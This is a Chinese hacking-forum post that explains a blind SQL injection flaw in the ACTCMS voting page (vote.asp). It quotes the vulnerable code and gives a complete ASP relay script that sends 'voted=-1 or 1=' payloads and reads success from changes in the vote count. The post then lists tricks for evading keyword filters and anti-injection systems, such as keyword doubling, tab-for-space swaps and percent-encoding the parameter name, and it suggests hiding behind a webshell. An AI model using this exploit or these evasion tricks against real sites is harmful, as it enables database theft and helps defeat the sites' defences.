注入中转的高级应用，actcms漏洞以及其他

admin

) f" D+ H  z* C0 e  H0 |看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
+ J' \/ S( E( ~1 O转载请注明以上
漏洞文件：
. e7 p- t6 y2 T/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
: E( J' g% x/ D
8 B3 h) I, M+ K( L0 J! L2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
! A% t! C8 j2 r5 [) S5 u1 w
3    response.end   
7 c, P% `; `% _6 t
4    end if   

5    for i=1 to request("voted").count   

3 u& i; X1 `  B' g9 ]6 n* l- u% U6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
: O9 j; G5 Y9 m5 M
7    next   
2 M) X. J1 y( ]8 a$ t; _, a5 r
# j9 `# E9 I7 ^6 T. |8....   
' M. X3 H) |; J: N1 b
9response.Redirect "index.asp?id="&id&""   
( U6 j+ K! X  M, \2 R7 `投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
) b4 @7 F8 ]6 u            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

, T/ v  _( u4 P2009-12-27 13:20
' \) ~0 j/ i: c6 {* F% R7 s
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
0 p! e' K  b  O' l; J! ]% }我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
) h& T/ v, ?9 {0 r! G8 b注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
5 S7 V" |) ]5 w; Y8 L( L
02JmdcwName=request("jmdcw")
( P- o1 g/ z' D* I$ x
0 k5 a; l0 V$ \- P* M9 J& R03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( ]* B! H3 M% a3 H. s( Q. C
04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)
5 @6 y0 ~2 ^/ a
* {. C- H# L) o* a( Q2 O, A06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
$ ~5 s8 C5 c9 ~* b# h. b
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
) E% ?8 i  j0 V. |/ C2 q: T
08testurl=testurl & "?" & JmStr

09JMUrl=JMUrl & "?" & JmStr

3 _- R- K; O! j) o. Q10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) u- {2 ~$ J: T' e  F7 W
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
1 E. R* G( H* [* u. q
. Q8 y- ~5 u+ f: c) X12JmCok=replace(JmCok,chr(32),"%20")  

$ U, j) o9 x/ |6 y. N13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
# V0 d, [# _4 a
16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

: l; s& T. e0 @- P5 |18response.write test1&""&test2&""
' }3 O6 {0 K8 j# X2 K+ _0 G" K
: o2 e! Z/ C7 L  h% ]7 B8 i5 N19  
# V1 v: U) L4 x8 U7 L3 v
2 k3 J# g; q4 @: Q" F20if test1=test2 then '如前后记录相等，表示失败

) ?; `. x- O0 p2 O( E9 V0 ?21  response.write "failed"

& O+ P) h4 D- D6 @* w* L' _22else

23  response.write "succeed"
% `5 @) A) M) M" ]8 g0 d; [" Q
24end if  
4 r( B9 A. {& T- N& y; O( z
25  
- o& j1 \) P" F' }# {+ s4 P7 x
26response.write "by 3x"

) E. p' u. `. Y' p* j27  

( @  k/ J7 p) x: b: E* R0 D1 n28  
  u. c/ R/ t7 b& ~
+ }3 o1 R6 K/ q( T, n9 D( R' ]% R29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
0 W/ o8 s- {$ _. d+ g0 C
9 a6 _; y- [6 w7 C$ \30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

) \* a3 Y" v  n$ J" L" g32With Http
: n3 {. V: n2 l( {: ~6 ?1 d2 @
  X! E- E% ~. ^2 h33  
" w: H$ K$ E4 E$ a9 D9 d# f
7 O+ o/ D* S4 k, v34.Open "GET",PostUrl,False
; C. A; J6 ~1 Q0 u
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
3 O5 i7 l$ I) i" g) M1 H
36.SetRequestHeader "Referer",PostRef
6 \) ?" t# O( A. R) K# f
37.SetRequestHeader "Cookie",PostCok
& S4 |0 X3 _- ~% ?' t
2 `. f2 p% p  w$ a' I# W, ?+ K38.Send ()

39PostData = .ResponseBody

2 c8 a& g7 |; _7 g4 z# o" [40End With

  N8 s* d8 T% V/ ?: P( I$ ?41Set Http = Nothing

) u$ d- ?! X' C7 G# z$ Z5 i# j42PostData =bytes2BSTR(PostData)

5 w8 c' C$ o: @" N' y0 b43End Function
# @, j/ ]  j/ Z9 T8 s# u
$ X  Y8 G3 @9 n! K44  

45  
8 ]' _: a9 r" i" A
4 v% O  P) k% _/ }$ @* x2 o46Function bytes2BSTR(vIn)
, s+ Z8 p& ^* \' j) V3 h
47Dim strReturn

48Dim I, ThisCharCode, NextCharCode
  l( g2 r0 x9 `6 u
49strReturn = ""
) e! j9 X  X" ~$ t7 D
50For I = 1 To LenB(vIn)

/ w% {! t0 P0 Z  w. T4 h51ThisCharCode = AscB(MidB(vIn, I, 1))

5 Z( b! ~7 R* q9 O  H' f: R6 p- {52If ThisCharCode < &H80 Then

/ P) j+ k+ g- _- D1 {# p8 P53strReturn = strReturn & Chr(ThisCharCode)

1 c: H/ p7 S6 q; N54Else
7 L5 e; j0 p5 {+ Y4 v7 H
55NextCharCode = AscB(MidB(vIn, I + 1, 1))

$ t% z  q' B/ ]& h; X; c5 K56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

: y% Q1 A7 S& \' u+ |57I = I + 1

! [' u" k5 D% z  Y+ H! a0 N58End If
, l1 D/ @) V- L. H8 ?2 Q
- n$ S1 l- x  U% V' _% R  d59Next
' n  j( ^' g- t  _
/ H; G' G0 w1 I4 _60bytes2BSTR = strReturn
4 D3 _" B4 p& [* [: }2 ~* W% _
* p' t9 ]% L- B" E+ z; P61End Function
! t0 [% R3 r: q# g7 D0 r7 O
- B& N  [6 i, x( v2 S, p7 C62  
- k& C. F5 Q7 o+ j* N  q( |& o
8 l+ C" a. K, z: Y/ K63Function URLEncoding(vstrin)  
/ z( G0 i# U5 @6 p( M$ [
7 W4 J. G1 c8 A7 R4 |64strReturn=""

. L8 ~# c% s" Y8 ^: N65Dim i
- a$ \: Z$ Q% a6 h9 [
5 C% ~3 Z" ~7 n8 l/ J66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)
6 M1 B; a9 k$ ]0 b% i6 ]6 r
$ i$ v) c3 `) ~9 j, Y68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr
9 M1 _3 |9 H# \8 g
* W/ U6 W$ P. l70Else
$ p6 }) ~5 t( k* ]' w
( a+ D7 n) m. N3 Q9 ^71InnerCode=Asc(ThisChr)

3 w2 T5 t( g- i9 Q+ ]72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000
- _' z9 v9 w' L4 h) H/ S  J
74End If
3 r1 ^9 l, ?; l2 D8 `
- N! q3 W3 ^/ \+ z75Hight1=(InnerCode And &HFF00) \&HFF
. e5 N2 U  a0 u0 t$ G6 X
76Low1=InnerCode And &HFF
) [: ^% k$ Z$ z4 ^
0 `3 w+ N$ t7 F0 p! G- n3 w77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

5 }5 L3 d+ K- E4 z7 N5 d/ N78End if

79Next
4 y' z5 c( _9 T* q1 {/ `2 r
. B$ H; p' U+ a, s. d8 x- h80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
9 {# J/ K& }) k7 n9 F
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

: p9 |; |. A7 T82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

  _( W$ B0 W; r/ I& T+ x- l8 q6 W! w  D2 y83URLEncoding=strReturn

84End Function

7 B* d" ?5 o9 V" k- \85  

. ]) ?; B( E/ q86function getSt(body)
1 p- C, I% j, [2 E5 }
2 V; U, _! U$ _. f0 Z: k9 A87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")

" b! Q  G; Q- g  l2 |) _$ a" [89  getSt=mid(body,startpot,endpot-startpot)

90end function
5 Z& S1 e6 s' h! p
91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
& V5 c! X" H+ k* X9 E' R4 _7 `$ e7 z测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
1 }1 m- g# L2 q7 S' {# X, c投票失败
, \: }! M7 c0 b4 {$ s8 phttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

1 u# ]$ ?1 G9 c( x( h, }8 U' o2009-12-27 13:29
4 l. g- V( i/ d( c-------------------------------------------------------------------------------
7 e' x5 n$ Y, u8 Q4 C* W" M再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
' f# D) Y8 b" S' O很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
/ g* E+ ^- @) n8 R% r+ A) T-------------------------------------------------------------------------------
$ f( R' }: M" w0 Z# G
注入中转的一些其他应用
3 ?" S  d/ {( T: L- C0 `其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
8 e8 M: G+ X4 b" t, E3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
6 u; @" s& D- P5 F5 B- o